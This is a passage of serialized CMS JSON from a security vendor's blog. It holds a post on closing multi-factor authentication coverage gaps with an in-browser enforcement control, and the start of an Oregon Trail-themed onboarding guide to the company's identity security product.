yourself.",{"data":155105,"content":155106,"nodeType":972},{},[],{"data":155108,"content":155109,"nodeType":981},{},[155110],{"data":155111,"marks":155112,"value":155113,"nodeType":865},{},[],"Shining a light on MFA gaps",{"data":155115,"content":155116,"nodeType":866},{},[155117],{"data":155118,"marks":155119,"value":155120,"nodeType":865},{},[],"There’s no question that the rise of ubiquitous multi-factor authentication has been an enormous advance for defenders in cybersecurity. ",{"data":155122,"content":155123,"nodeType":866},{},[155124,155128,155137],{"data":155125,"marks":155126,"value":155127,"nodeType":865},{},[],"Yet several years into this journey, the problem of verifying and enforcing MFA coverage across an organization remains a bit of a ",{"data":155129,"content":155131,"nodeType":889},{"uri":155130},"https://en.wikipedia.org/wiki/Puzzle_box",[155132],{"data":155133,"marks":155134,"value":155136,"nodeType":865},{},[155135],{"type":943},"puzzle box",{"data":155138,"marks":155139,"value":1615,"nodeType":865},{},[],{"data":155141,"content":155142,"nodeType":866},{},[155143],{"data":155144,"marks":155145,"value":155146,"nodeType":865},{},[],"Why is this?",{"data":155148,"content":155149,"nodeType":1616},{},[155150,155160,155170],{"data":155151,"content":155152,"nodeType":1570},{},[155153],{"data":155154,"content":155155,"nodeType":866},{},[155156],{"data":155157,"marks":155158,"value":155159,"nodeType":865},{},[],"Complex overlapping (and occasionally contradictory) configurations for enterprise MFA solutions can result in entire employee groups not registered for MFA, and other critical missing pieces.",{"data":155161,"content":155162,"nodeType":1570},{},[155163],{"data":155164,"content":155165,"nodeType":866},{},[155166],{"data":155167,"marks":155168,"value":155169,"nodeType":865},{},[],"With a sprawling ecosystem of both SSO-managed and unmanaged self-adopted SaaS, MFA coverage ends up looking more like a patchwork than a unified layer of protection. Security teams lack visibility of freemium and self-purchased apps, and when signup is simple, many users will naturally skip MFA registration to remove a layer of friction. The end result is often a suite of core apps managed via SSO that enforce MFA — and a lot of other unmanaged apps that don’t (true nightmare fodder).",{"data":155171,"content":155172,"nodeType":1570},{},[155173],{"data":155174,"content":155175,"nodeType":866},{},[155176,155180,155188],{"data":155177,"marks":155178,"value":155179,"nodeType":865},{},[],"Another annoying piece of the puzzle box: Even in organizations with a high adoption rate of phishing-resistant MFA methods, having backup MFA methods (and a lack of total visibility into all of those registered methods) can create situations where ",{"data":155181,"content":155182,"nodeType":889},{"uri":103508},[155183],{"data":155184,"marks":155185,"value":155187,"nodeType":865},{},[155186],{"type":943},"MFA downgrade attacks",{"data":155189,"marks":155190,"value":155191,"nodeType":865},{},[]," are still possible. In MFA downgrade attacks, backup MFA methods that are less secure such as SMS or TOTP can be exploited, effectively bypassing more phishing-resistant methods.",{"data":155193,"content":155194,"nodeType":866},{},[155195],{"data":155196,"marks":155197,"value":155198,"nodeType":865},{},[],"The challenges of solving this puzzle are evident. ",{"data":155200,"content":155204,"nodeType":912},{"target":155201},{"sys":155202},{"id":155203,"type":909,"linkType":910},"2BBiFx8pHjSCeLTlP6n6da",[],{"data":155206,"content":155209,"nodeType":912},{"target":155207},{"sys":155208},{"id":136027,"type":909,"linkType":910},[],{"data":155211,"content":155212,"nodeType":866},{},[155213],{"data":155214,"marks":155215,"value":155216,"nodeType":865},{},[],"To shine a light on MFA gaps, then, security teams need three things:",{"data":155218,"content":155219,"nodeType":1616},{},[155220,155230,155240],{"data":155221,"content":155222,"nodeType":1570},{},[155223],{"data":155224,"content":155225,"nodeType":866},{},[155226],{"data":155227,"marks":155228,"value":155229,"nodeType":865},{},[],"A full accounting of their identity attack surface, including accounts on unmanaged and freemium apps not on SSO.",{"data":155231,"content":155232,"nodeType":1570},{},[155233],{"data":155234,"content":155235,"nodeType":866},{},[155236],{"data":155237,"marks":155238,"value":155239,"nodeType":865},{},[],"A trustworthy out-of-band method for verifying MFA coverage, beyond the tangle of conditional access rules.",{"data":155241,"content":155242,"nodeType":1570},{},[155243],{"data":155244,"content":155245,"nodeType":866},{},[155246],{"data":155247,"marks":155248,"value":155249,"nodeType":865},{},[],"Visibility into which MFA methods are registered to a given account.",{"data":155251,"content":155252,"nodeType":866},{},[155253,155257,155261],{"data":155254,"marks":155255,"value":155256,"nodeType":865},{},[],"You can get all three with the Push platform. The missing piece we’ve now added is a way to automatically prompt employees to add MFA wherever it’s missing. Enter ",{"data":155258,"marks":155259,"value":58363,"nodeType":865},{},[155260],{"type":926},{"data":155262,"marks":155263,"value":1615,"nodeType":865},{},[],{"data":155265,"content":155266,"nodeType":972},{},[],{"data":155268,"content":155269,"nodeType":981},{},[155270],{"data":155271,"marks":155272,"value":155273,"nodeType":865},{},[],"How Push helps you ensure MFA coverage",{"data":155275,"content":155276,"nodeType":866},{},[155277],{"data":155278,"marks":155279,"value":155280,"nodeType":865},{},[],"Let’s take a look at a hypothetical incident response scenario to see how Push’s identity visibility and security controls help you ensure MFA coverage.",{"data":155282,"content":155283,"nodeType":866},{},[155284],{"data":155285,"marks":155286,"value":155287,"nodeType":865},{},[],"We’ll assume that prior to this incident, you had already deployed the Push browser extension, which you can install and enforce using any MDM solution, on all major browsers.",{"data":155289,"content":155290,"nodeType":866},{},[155291],{"data":155292,"marks":155293,"value":155294,"nodeType":865},{},[],"It’s a Friday afternoon (sorry).",{"data":155296,"content":155297,"nodeType":866},{},[155298],{"data":155299,"marks":155300,"value":155301,"nodeType":865},{},[],"News breaks that there’s been a suspected breach at a popular enterprise SaaS service.",{"data":155303,"content":155304,"nodeType":866},{},[155305],{"data":155306,"marks":155307,"value":155308,"nodeType":865},{},[],"You’re familiar with the service, but you don’t believe it’s a core managed app at your organization. Unfortunately, that does not mean you don’t have accounts (sorry again).",{"data":155310,"content":155311,"nodeType":866},{},[155312],{"data":155313,"marks":155314,"value":155315,"nodeType":865},{},[],"Using Push, you can:",{"data":155317,"content":155318,"nodeType":1616},{},[155319,155338,155348,155375,155401],{"data":155320,"content":155321,"nodeType":1570},{},[155322],{"data":155323,"content":155324,"nodeType":866},{},[155325,155329,155334],{"data":155326,"marks":155327,"value":155328,"nodeType":865},{},[],"Immediately check whether the Push extension has observed employee usage of the breached app. It will appear on the ",{"data":155330,"marks":155331,"value":155333,"nodeType":865},{},[155332],{"type":926},"Apps",{"data":155335,"marks":155336,"value":155337,"nodeType":865},{},[]," table. From this overview, you can see how many accounts Push has seen on that app and how they are accessing it (SSO vs. other methods, such as local password login).",{"data":155339,"content":155340,"nodeType":1570},{},[155341],{"data":155342,"content":155343,"nodeType":866},{},[155344],{"data":155345,"marks":155346,"value":155347,"nodeType":865},{},[],"For those accounts on the breached app, you can quickly see whether they have MFA, and which methods are registered. To determine MFA status, the Push extension uses the existing user’s active session on an app to query that account’s MFA registration status using the app’s own API, providing a trustworthy verification. ",{"data":155349,"content":155350,"nodeType":1570},{},[155351],{"data":155352,"content":155353,"nodeType":866},{},[155354,155358,155363,155367,155372],{"data":155355,"marks":155356,"value":155357,"nodeType":865},{},[],"You can also see whether the users’ passwords have any security issues, such as a verified stolen credential, or a password that’s weak or reused by filtering the ",{"data":155359,"marks":155360,"value":155362,"nodeType":865},{},[155361],{"type":926},"Accounts",{"data":155364,"marks":155365,"value":155366,"nodeType":865},{},[]," list for ",{"data":155368,"marks":155369,"value":155371,"nodeType":865},{},[155370],{"type":926},"Findings",{"data":155373,"marks":155374,"value":1615,"nodeType":865},{},[],{"data":155376,"content":155377,"nodeType":1570},{},[155378],{"data":155379,"content":155380,"nodeType":866},{},[155381,155385,155389,155393,155397],{"data":155382,"marks":155383,"value":155384,"nodeType":865},{},[],"For accounts that lack MFA, you can then configure the ",{"data":155386,"marks":155387,"value":58363,"nodeType":865},{},[155388],{"type":926},{"data":155390,"marks":155391,"value":155392,"nodeType":865},{},[]," control from the ",{"data":155394,"marks":155395,"value":136538,"nodeType":865},{},[155396],{"type":926},{"data":155398,"marks":155399,"value":155400,"nodeType":865},{},[]," page. This will prompt employees who lack MFA to set it up whenever they next use the app. In parallel, you can reach out to affected employees through your preferred comms channel and ask them to immediately register for MFA and change their password on the app. ",{"data":155402,"content":155403,"nodeType":1570},{},[155404],{"data":155405,"content":155406,"nodeType":866},{},[155407,155411,155420],{"data":155408,"marks":155409,"value":155410,"nodeType":865},{},[],"Then use Push’s webhooks to monitor for MFA registrations and password changes to roll in, by querying the ",{"data":155412,"content":155414,"nodeType":889},{"uri":155413},"https://pushsecurity.redoc.ly/webhooks-v1#operation/login-event",[155415],{"data":155416,"marks":155417,"value":155419,"nodeType":865},{},[155418],{"type":943},"Login event",{"data":155421,"marks":155422,"value":1615,"nodeType":865},{},[],{"data":155424,"content":155427,"nodeType":912},{"target":155425},{"sys":155426},{"id":137277,"type":909,"linkType":910},[],{"data":155429,"content":155430,"nodeType":866},{},[155431,155435,155439],{"data":155432,"marks":155433,"value":155434,"nodeType":865},{},[],"By combining visibility of your workforce identities — including granular context on their MFA registration status, MFA methods, and password security, even on unmanaged apps — with in-browser controls like ",{"data":155436,"marks":155437,"value":58363,"nodeType":865},{},[155438],{"type":926},{"data":155440,"marks":155441,"value":155442,"nodeType":865},{},[],", Push helps security teams respond quickly and with assurance that they have the right information and tools to remediate the issue.",{"data":155444,"content":155445,"nodeType":981},{},[155446],{"data":155447,"marks":155448,"value":155449,"nodeType":865},{},[],"A closer look at MFA enforcement",{"data":155451,"content":155452,"nodeType":866},{},[155453,155457,155461],{"data":155454,"marks":155455,"value":155456,"nodeType":865},{},[],"With the in-browser ",{"data":155458,"marks":155459,"value":58363,"nodeType":865},{},[155460],{"type":926},{"data":155462,"marks":155463,"value":155464,"nodeType":865},{},[]," control, we chose this approach to close the loop on missing MFA issues because:",{"data":155466,"content":155467,"nodeType":1616},{},[155468,155478,155488],{"data":155469,"content":155470,"nodeType":1570},{},[155471],{"data":155472,"content":155473,"nodeType":866},{},[155474],{"data":155475,"marks":155476,"value":155477,"nodeType":865},{},[],"It meets users where they are, in the most relevant context where they can successfully address the issue.",{"data":155479,"content":155480,"nodeType":1570},{},[155481],{"data":155482,"content":155483,"nodeType":866},{},[155484],{"data":155485,"marks":155486,"value":155487,"nodeType":865},{},[],"It solves the problem of enforcing MFA on apps that are outside of administrative control — or that don’t provide any administrative controls to enforce MFA registration natively.",{"data":155489,"content":155490,"nodeType":1570},{},[155491],{"data":155492,"content":155493,"nodeType":866},{},[155494],{"data":155495,"marks":155496,"value":155497,"nodeType":865},{},[],"It’s tenant-agnostic. That means that you can enforce MFA for a given app on all tenants of that app, even those free-tier or test tenants that you don’t know about and have no control over.",{"data":155499,"content":155500,"nodeType":866},{},[155501,155505,155509],{"data":155502,"marks":155503,"value":155504,"nodeType":865},{},[],"As a happy side effect, your compliance team will thank you for finally allowing them to attest to where MFA is ",{"data":155506,"marks":155507,"value":102414,"nodeType":865},{},[155508],{"type":898},{"data":155510,"marks":155511,"value":155512,"nodeType":865},{},[]," enforced — with verified results, visible at the account level in Push’s admin reporting — across your environment.",{"data":155514,"content":155515,"nodeType":866},{},[155516],{"data":155517,"marks":155518,"value":136512,"nodeType":865},{},[],{"data":155520,"content":155521,"nodeType":866},{},[155522,155526,155530],{"data":155523,"marks":155524,"value":155525,"nodeType":865},{},[],"To enable MFA enforcement, use the configuration tile on the ",{"data":155527,"marks":155528,"value":136538,"nodeType":865},{},[155529],{"type":926},{"data":155531,"marks":155532,"value":155533,"nodeType":865},{},[]," page of the Push admin console and select which apps should require MFA registration. The control currently works with ~90 high-value apps, including Postman, Retool, Datadog, Atlassian, Okta, and others.",{"data":155535,"content":155539,"nodeType":912},{"target":155536},{"sys":155537},{"id":155538,"type":909,"linkType":910},"2sDbYZL4oJDxLMbYErJfIN",[],{"data":155541,"content":155542,"nodeType":866},{},[155543],{"data":155544,"marks":155545,"value":155546,"nodeType":865},{},[],"You can then customize the message the employees will see.",{"data":155548,"content":155549,"nodeType":866},{},[155550],{"data":155551,"marks":155552,"value":155553,"nodeType":865},{},[],"On the end-user side, employees will see a banner with your message as soon as they use an app where they lack MFA. ",{"data":155555,"content":155559,"nodeType":912},{"target":155556},{"sys":155557},{"id":155558,"type":909,"linkType":910},"37aH1maXXkF8DxgjUod5dn",[],{"data":155561,"content":155562,"nodeType":866},{},[155563],{"data":155564,"marks":155565,"value":155566,"nodeType":865},{},[],"To complete MFA registration, the user can go directly to the app’s MFA registration page from a link in the banner (Push provides this link automatically, where one exists). The extension will query the user’s MFA status regularly in the background and when MFA registration is completed, the banner will disappear and the Push platform will clear the “No MFA” security finding for that account.",{"data":155568,"content":155572,"nodeType":912},{"target":155569},{"sys":155570},{"id":155571,"type":909,"linkType":910},"3yb4KjhH3AbvvSnfMbNONr",[],{"data":155574,"content":155575,"nodeType":981},{},[155576],{"data":155577,"marks":155578,"value":113824,"nodeType":865},{},[],{"data":155580,"content":155581,"nodeType":866},{},[155582,155586,155592],{"data":155583,"marks":155584,"value":155585,"nodeType":865},{},[],"To test our MFA visibility and control features, ",{"data":155587,"content":155588,"nodeType":889},{"uri":34504},[155589],{"data":155590,"marks":155591,"value":149797,"nodeType":865},{},[],{"data":155593,"marks":155594,"value":155595,"nodeType":865},{},[]," from our team. We look forward to helping you finally turn the challenge of MFA coverage into a simple problem, easily solved.","Using Push to enforce MFA on third-party apps in the browser — even where MFA enforcement isn't supported by the app itself.",{"items":155598},[155599,155601],{"sys":155600,"name":297},{"id":2310},{"sys":155602,"name":342},{"id":4642},{"items":155604},[155605],{"fullName":6500,"firstName":6501,"jobTitle":4616,"profilePicture":155606},{"url":6503},{"__typename":1429,"sys":155608,"content":155610,"title":157105,"synopsis":157106,"hashTags":59,"publishedDate":157107,"slug":157108,"tagsCollection":157109,"authorsCollection":157113},{"id":155609},"3lWfiuAMsVecxVyEKiwV0c",{"json":155611},{"data":155612,"content":155613,"nodeType":1382},{},[155614,155621,155628,155644,155650,155669,155676,155683,155686,155693,155700,155778,155785,155792,155799,155806,155813,155820,155834,155840,155920,155927,155934,155970,155977,155983,155990,156005,156115,156139,156145,156152,156168,156174,156177,156184,156191,156206,156213,156220,156227,156250,156271,156277,156284,156291,156298,156314,156320,156356,156362,156369,156398,156410,156417,156424,156431,156481,156488,156494,156501,156504,156511,156518,156525,156532,156585,156599,156650,156681,156688,156752,156758,156765,156818,156837,156844,156859,156897,156904,156911,156918,156944,156950,156953,156960,156967,156974,157086,157093,157099],{"data":155615,"content":155616,"nodeType":981},{},[155617],{"data":155618,"marks":155619,"value":155620,"nodeType":865},{},[],"The journey ahead",{"data":155622,"content":155623,"nodeType":866},{},[155624],{"data":155625,"marks":155626,"value":155627,"nodeType":865},{},[],"So you’ve chosen Push to accompany you on your identity security journey. Good choice! We’ve got (threat) hunting supplies and a sturdy raft. It’s risky to go alone, though, so take this map with you.",{"data":155629,"content":155630,"nodeType":866},{},[155631,155635,155640],{"data":155632,"marks":155633,"value":155634,"nodeType":865},{},[],"Inspired by the classic 1980s video game* ",{"data":155636,"marks":155637,"value":155639,"nodeType":865},{},[155638],{"type":898},"Oregon Trail",{"data":155641,"marks":155642,"value":155643,"nodeType":865},{},[],", we’ve put together the following guide for intrepid security teams who are traveling across potentially unknown territory as they uncover their identity attack surface, including shadow identities and apps, and secure it against modern identity attacks.",{"data":155645,"content":155649,"nodeType":912},{"target":155646},{"sys":155647},{"id":155648,"type":909,"linkType":910},"3Ys8l6lqQcWOFX5O6QSulO",[],{"data":155651,"content":155652,"nodeType":866},{},[155653,155657,155665],{"data":155654,"marks":155655,"value":155656,"nodeType":865},{},[],"(*For Push fans outside the U.S., Oregon Trail followed a group of pioneers as they attempted to cross the continent in a covered wagon, avoiding wild animals and hunting for food along the way. The ",{"data":155658,"content":155660,"nodeType":889},{"uri":155659},"https://knowyourmeme.com/memes/subcultures/the-oregon-trail",[155661],{"data":155662,"marks":155663,"value":155664,"nodeType":865},{},[],"memes",{"data":155666,"marks":155667,"value":155668,"nodeType":865},{},[]," now outlive the game, but we remember it fondly.)",{"data":155670,"content":155671,"nodeType":866},{},[155672],{"data":155673,"marks":155674,"value":155675,"nodeType":865},{},[],"In this guide, we’ll provide advice on what you can accomplish in your first three months after deploying Push to your workforce, transforming your employees’ browsers into a reliable control point to enforce a strong identity posture and stop account takeover.",{"data":155677,"content":155678,"nodeType":866},{},[155679],{"data":155680,"marks":155681,"value":155682,"nodeType":865},{},[],"In your first 90 days using Push, you can go far. Let’s take a look.",{"data":155684,"content":155685,"nodeType":972},{},[],{"data":155687,"content":155688,"nodeType":981},{},[155689],{"data":155690,"marks":155691,"value":155692,"nodeType":865},{},[],"First 30 days: Get intel and secure against bears",{"data":155694,"content":155695,"nodeType":866},{},[155696],{"data":155697,"marks":155698,"value":155699,"nodeType":865},{},[],"This guide assumes you’ve identified a few identity security goals already. These probably include things like:",{"data":155701,"content":155702,"nodeType":1616},{},[155703,155725,155748,155758,155768],{"data":155704,"content":155705,"nodeType":1570},{},[155706],{"data":155707,"content":155708,"nodeType":866},{},[155709,155713,155722],{"data":155710,"marks":155711,"value":155712,"nodeType":865},{},[],"Closing gaps in existing security controls to protect against MFA bypass attacks like Adversary-in-the-Middle ",{"data":155714,"content":155717,"nodeType":33606},{"target":155715},{"sys":155716},{"id":142266,"type":909,"linkType":910},[155718],{"data":155719,"marks":155720,"value":155721,"nodeType":865},{},[],"(AiTM) phishing toolkits",{"data":155723,"marks":155724,"value":1615,"nodeType":865},{},[],{"data":155726,"content":155727,"nodeType":1570},{},[155728],{"data":155729,"content":155730,"nodeType":866},{},[155731,155735,155744],{"data":155732,"marks":155733,"value":155734,"nodeType":865},{},[],"Increasing ",{"data":155736,"content":155739,"nodeType":33606},{"target":155737},{"sys":155738},{"id":33939,"type":909,"linkType":910},[155740],{"data":155741,"marks":155742,"value":155743,"nodeType":865},{},[],"visibility of user activity",{"data":155745,"marks":155746,"value":155747,"nodeType":865},{},[]," in the browser to identify and respond to threats.",{"data":155749,"content":155750,"nodeType":1570},{},[155751],{"data":155752,"content":155753,"nodeType":866},{},[155754],{"data":155755,"marks":155756,"value":155757,"nodeType":865},{},[],"Using federated SSO-based logins over password-based logins to limit the number of identities created, and removing unused login methods.",{"data":155759,"content":155760,"nodeType":1570},{},[155761],{"data":155762,"content":155763,"nodeType":866},{},[155764],{"data":155765,"marks":155766,"value":155767,"nodeType":865},{},[],"Implementing phishing-resistant authentication methods, and removing phishable ones.",{"data":155769,"content":155770,"nodeType":1570},{},[155771],{"data":155772,"content":155773,"nodeType":866},{},[155774],{"data":155775,"marks":155776,"value":155777,"nodeType":865},{},[],"Where password use cannot be avoided, ensuring good hygiene (no weak, reused, or breached passwords) and phishing-resistant MFA factors.",{"data":155779,"content":155780,"nodeType":866},{},[155781],{"data":155782,"marks":155783,"value":155784,"nodeType":865},{},[],"Then, once you’ve deployed the Push browser extension to your browser ecosystem, invited your security team to the Push admin console, and begun collecting behavioral and identity posture data from your employees’ login activity, you’re ready to embark.",{"data":155786,"content":155787,"nodeType":866},{},[155788],{"data":155789,"marks":155790,"value":155791,"nodeType":865},{},[],"Right away, you can set up your first out-of-the-box security control to provide novel and effective protection against adversary-in-the-middle (AiTM) phishing toolkits such as Evilginx, EvilNoVNC, and others.",{"data":155793,"content":155794,"nodeType":866},{},[155795],{"data":155796,"marks":155797,"value":155798,"nodeType":865},{},[],"It’s the identity security equivalent of bear deterrent (something sadly lacking on the Oregon Trail), and it takes just a couple of minutes.",{"data":155800,"content":155801,"nodeType":866},{},[155802],{"data":155803,"marks":155804,"value":155805,"nodeType":865},{},[],"You can also set additional security controls in Monitor mode and begin collecting valuable insights from your users’ account and app activity.",{"data":155807,"content":155808,"nodeType":866},{},[155809],{"data":155810,"marks":155811,"value":155812,"nodeType":865},{},[],"Here’s what we recommend for your first 30 days using Push:",{"data":155814,"content":155815,"nodeType":1317},{},[155816],{"data":155817,"marks":155818,"value":155819,"nodeType":865},{},[],"Enable phishing tool detection in Warn or Block mode",{"data":155821,"content":155822,"nodeType":866},{},[155823,155827,155831],{"data":155824,"marks":155825,"value":155826,"nodeType":865},{},[],"Begin protecting employees from adversary-in-the-middle phishing from AitM tools by enabling ",{"data":155828,"marks":155829,"value":79859,"nodeType":865},{},[155830],{"type":926},{"data":155832,"marks":155833,"value":1615,"nodeType":865},{},[],{"data":155835,"content":155839,"nodeType":912},{"target":155836},{"sys":155837},{"id":155838,"type":909,"linkType":910},"2ylIkR0JXHkFStGuCFRjlN",[],{"data":155841,"content":155842,"nodeType":1616},{},[155843,155882,155892,155902],{"data":155844,"content":155845,"nodeType":1570},{},[155846],{"data":155847,"content":155848,"nodeType":866},{},[155849,155852,155856,155860,155864,155868,155872,155875,155879],{"data":155850,"marks":155851,"value":58577,"nodeType":865},{},[],{"data":155853,"marks":155854,"value":136538,"nodeType":865},{},[155855],{"type":926},{"data":155857,"marks":155858,"value":155859,"nodeType":865},{},[]," page in the Push admin console, select ",{"data":155861,"marks":155862,"value":79859,"nodeType":865},{},[155863],{"type":926},{"data":155865,"marks":155866,"value":155867,"nodeType":865},{},[]," and set the mode to ",{"data":155869,"marks":155870,"value":58533,"nodeType":865},{},[155871],{"type":926},{"data":155873,"marks":155874,"value":53880,"nodeType":865},{},[],{"data":155876,"marks":155877,"value":58541,"nodeType":865},{},[155878],{"type":926},{"data":155880,"marks":155881,"value":1615,"nodeType":865},{},[],{"data":155883,"content":155884,"nodeType":1570},{},[155885],{"data":155886,"content":155887,"nodeType":866},{},[155888],{"data":155889,"marks":155890,"value":155891,"nodeType":865},{},[],"Customize the message that employees will see if they encounter a malicious site.",{"data":155893,"content":155894,"nodeType":1570},{},[155895],{"data":155896,"content":155897,"nodeType":866},{},[155898],{"data":155899,"marks":155900,"value":155901,"nodeType":865},{},[],"Add domains to the ignore list if you wish to ignore enforcing the control on specific domains or encounter any domains that trigger false positives.",{"data":155903,"content":155904,"nodeType":1570},{},[155905],{"data":155906,"content":155907,"nodeType":866},{},[155908,155912,155916],{"data":155909,"marks":155910,"value":155911,"nodeType":865},{},[],"You can monitor the ",{"data":155913,"marks":155914,"value":58511,"nodeType":865},{},[155915],{"type":926},{"data":155917,"marks":155918,"value":155919,"nodeType":865},{},[]," page (or send Push events to an external SIEM or SOAR) to see when the control is triggered.",{"data":155921,"content":155922,"nodeType":866},{},[155923],{"data":155924,"marks":155925,"value":155926,"nodeType":865},{},[],"You may also wish to communicate with your end-users to let them know you’re enabling a new security protection to stop phishing attacks and that if they encounter a malicious site, they’ll see a warning.",{"data":155928,"content":155929,"nodeType":1317},{},[155930],{"data":155931,"marks":155932,"value":155933,"nodeType":865},{},[],"Check for verified stolen credentials",{"data":155935,"content":155936,"nodeType":866},{},[155937,155941,155949,155953,155958,155962,155967],{"data":155938,"marks":155939,"value":155940,"nodeType":865},{},[],"Push uses threat intelligence sources to compare suspected ",{"data":155942,"content":155945,"nodeType":33606},{"target":155943},{"sys":155944},{"id":80231,"type":909,"linkType":910},[155946],{"data":155947,"marks":155948,"value":80155,"nodeType":865},{},[],{"data":155950,"marks":155951,"value":155952,"nodeType":865},{},[]," to those still actively in use across your workforce identities. You don’t need to configure anything for this feature, and you can check for any verified true positives by viewing the ",{"data":155954,"marks":155955,"value":155957,"nodeType":865},{},[155956],{"type":926},"Vulnerable identities",{"data":155959,"marks":155960,"value":155961,"nodeType":865},{},[]," section of the ",{"data":155963,"marks":155964,"value":155966,"nodeType":865},{},[155965],{"type":926},"Dashboard",{"data":155968,"marks":155969,"value":6719,"nodeType":865},{},[],{"data":155971,"content":155972,"nodeType":866},{},[155973],{"data":155974,"marks":155975,"value":155976,"nodeType":865},{},[],"We recommend investigating immediately and taking action to remediate any accounts with verified stolen credentials.",{"data":155978,"content":155982,"nodeType":912},{"target":155979},{"sys":155980},{"id":155981,"type":909,"linkType":910},"150dE4aTzofOwFXJCtGkJF",[],{"data":155984,"content":155985,"nodeType":1317},{},[155986],{"data":155987,"marks":155988,"value":155989,"nodeType":865},{},[],"Enable additional security controls in Monitor mode",{"data":155991,"content":155992,"nodeType":866},{},[155993,155997,156001],{"data":155994,"marks":155995,"value":155996,"nodeType":865},{},[],"Next, set up additional security controls in ",{"data":155998,"marks":155999,"value":58494,"nodeType":865},{},[156000],{"type":926},{"data":156002,"marks":156003,"value":156004,"nodeType":865},{},[]," mode so you can begin finetuning your configuration or adding to ignore lists. A few details to keep in mind:",{"data":156006,"content":156007,"nodeType":1616},{},[156008,156046,156069,156092],{"data":156009,"content":156010,"nodeType":1570},{},[156011],{"data":156012,"content":156013,"nodeType":866},{},[156014,156019,156023,156034,156038,156042],{"data":156015,"marks":156016,"value":156018,"nodeType":865},{},[156017],{"type":926},"For all controls",{"data":156020,"marks":156021,"value":156022,"nodeType":865},{},[],", update your ",{"data":156024,"content":156028,"nodeType":33606},{"target":156025},{"sys":156026},{"id":156027,"type":909,"linkType":910},"2q4iZicL3D85XGTsYZ5mgK",[156029],{"data":156030,"marks":156031,"value":156033,"nodeType":865},{},[156032],{"type":926},"Custom login URLs",{"data":156035,"marks":156036,"value":156037,"nodeType":865},{},[]," list on the ",{"data":156039,"marks":156040,"value":58582,"nodeType":865},{},[156041],{"type":926},{"data":156043,"marks":156044,"value":156045,"nodeType":865},{},[]," page to include any custom URLs you use for your identity provider or other important apps, so that Push can correctly identify those logins as belonging to your IdP (or other app).",{"data":156047,"content":156048,"nodeType":1570},{},[156049],{"data":156050,"content":156051,"nodeType":866},{},[156052,156057,156061,156065],{"data":156053,"marks":156054,"value":156056,"nodeType":865},{},[156055],{"type":926},"For SSO password protection",{"data":156058,"marks":156059,"value":156060,"nodeType":865},{},[],", we recommend starting in ",{"data":156062,"marks":156063,"value":58494,"nodeType":865},{},[156064],{"type":926},{"data":156066,"marks":156067,"value":156068,"nodeType":865},{},[]," so you can identify any sites in your environment that cause false positives, such as sites that are configured to legitimately allow use of SSO credentials. Then add these sites to your ignore list. By running in monitor mode for a few weeks, you can also get a sense of how often employees are reusing their corporate IdP credentials on other sites where they shouldn’t, such as personal apps.",{"data":156070,"content":156071,"nodeType":1570},{},[156072],{"data":156073,"content":156074,"nodeType":866},{},[156075,156080,156084,156088],{"data":156076,"marks":156077,"value":156079,"nodeType":865},{},[156078],{"type":926},"For cloned login page detection",{"data":156081,"marks":156082,"value":156083,"nodeType":865},{},[],", set the mode to ",{"data":156085,"marks":156086,"value":58494,"nodeType":865},{},[156087],{"type":926},{"data":156089,"marks":156090,"value":156091,"nodeType":865},{},[]," to receive events when employees visit a site using a cloned login screen for important apps including your identity provider.",{"data":156093,"content":156094,"nodeType":1570},{},[156095],{"data":156096,"content":156097,"nodeType":866},{},[156098,156103,156107,156111],{"data":156099,"marks":156100,"value":156102,"nodeType":865},{},[156101],{"type":926},"For URL blocking",{"data":156104,"marks":156105,"value":156106,"nodeType":865},{},[],", test a blocked URL or begin compiling a list of URLs you wish to block, such as AiTM sites discovered through phishing sites you find while using the ",{"data":156108,"marks":156109,"value":79859,"nodeType":865},{},[156110],{"type":926},{"data":156112,"marks":156113,"value":156114,"nodeType":865},{},[]," feature.",{"data":156116,"content":156117,"nodeType":866},{},[156118,156122,156126,156130,156135],{"data":156119,"marks":156120,"value":156121,"nodeType":865},{},[],"To see events generated by these controls, filter the ",{"data":156123,"marks":156124,"value":58511,"nodeType":865},{},[156125],{"type":926},{"data":156127,"marks":156128,"value":156129,"nodeType":865},{},[]," page. Go to the filters icon, then select ",{"data":156131,"marks":156132,"value":156134,"nodeType":865},{},[156133],{"type":926},"Events > By type",{"data":156136,"marks":156137,"value":156138,"nodeType":865},{},[]," from the dropdown and choose the specific control to see associated events.",{"data":156140,"content":156144,"nodeType":912},{"target":156141},{"sys":156142},{"id":156143,"type":909,"linkType":910},"2M0Cjc2Wo9L7c9rIQebx0S",[],{"data":156146,"content":156147,"nodeType":1317},{},[156148],{"data":156149,"marks":156150,"value":156151,"nodeType":865},{},[],"Set up alerts for your security team",{"data":156153,"content":156154,"nodeType":866},{},[156155,156159,156164],{"data":156156,"marks":156157,"value":156158,"nodeType":865},{},[],"Push can send notifications of interesting employee activity to a Microsoft Teams or Slack channel so you can stay on top of new apps and account security findings. In the admin console, go to the ",{"data":156160,"marks":156161,"value":156163,"nodeType":865},{},[156162],{"type":926},"ChatOps",{"data":156165,"marks":156166,"value":156167,"nodeType":865},{},[]," page and integrate your Teams or Slack instance, then enable topics you wish to get notified about.",{"data":156169,"content":156173,"nodeType":912},{"target":156170},{"sys":156171},{"id":156172,"type":909,"linkType":910},"OObhJQA1HMcmwBvpWfmC7",[],{"data":156175,"content":156176,"nodeType":972},{},[],{"data":156178,"content":156179,"nodeType":981},{},[156180],{"data":156181,"marks":156182,"value":156183,"nodeType":865},{},[],"First 60 days: Go (threat) hunting",{"data":156185,"content":156186,"nodeType":866},{},[156187],{"data":156188,"marks":156189,"value":156190,"nodeType":865},{},[],"Now you’re ready to survey the landscape and see where there are dangers hiding among your workforce identities such as missing MFA or SSO, unused accounts, compromised passwords, and unsanctioned or untrustworthy apps and integrations. ",{"data":156192,"content":156193,"nodeType":866},{},[156194,156198,156202],{"data":156195,"marks":156196,"value":156197,"nodeType":865},{},[],"Luckily, Push doesn’t make you forage for the important information. Use the ",{"data":156199,"marks":156200,"value":155966,"nodeType":865},{},[156201],{"type":926},{"data":156203,"marks":156204,"value":156205,"nodeType":865},{},[]," in the Push admin console to pinpoint vulnerable identities and see SSO trends and other insights.",{"data":156207,"content":156208,"nodeType":866},{},[156209],{"data":156210,"marks":156211,"value":156212,"nodeType":865},{},[],"After getting a baseline understanding of your ecosystem, you can begin translating your security policies into actionable controls by preparing end-users and creating the foundation for control configuration rules.",{"data":156214,"content":156215,"nodeType":866},{},[156216],{"data":156217,"marks":156218,"value":156219,"nodeType":865},{},[],"Here’s what we recommend for your second month using Push:",{"data":156221,"content":156222,"nodeType":1317},{},[156223],{"data":156224,"marks":156225,"value":156226,"nodeType":865},{},[],"Understand which identities are most vulnerable to account 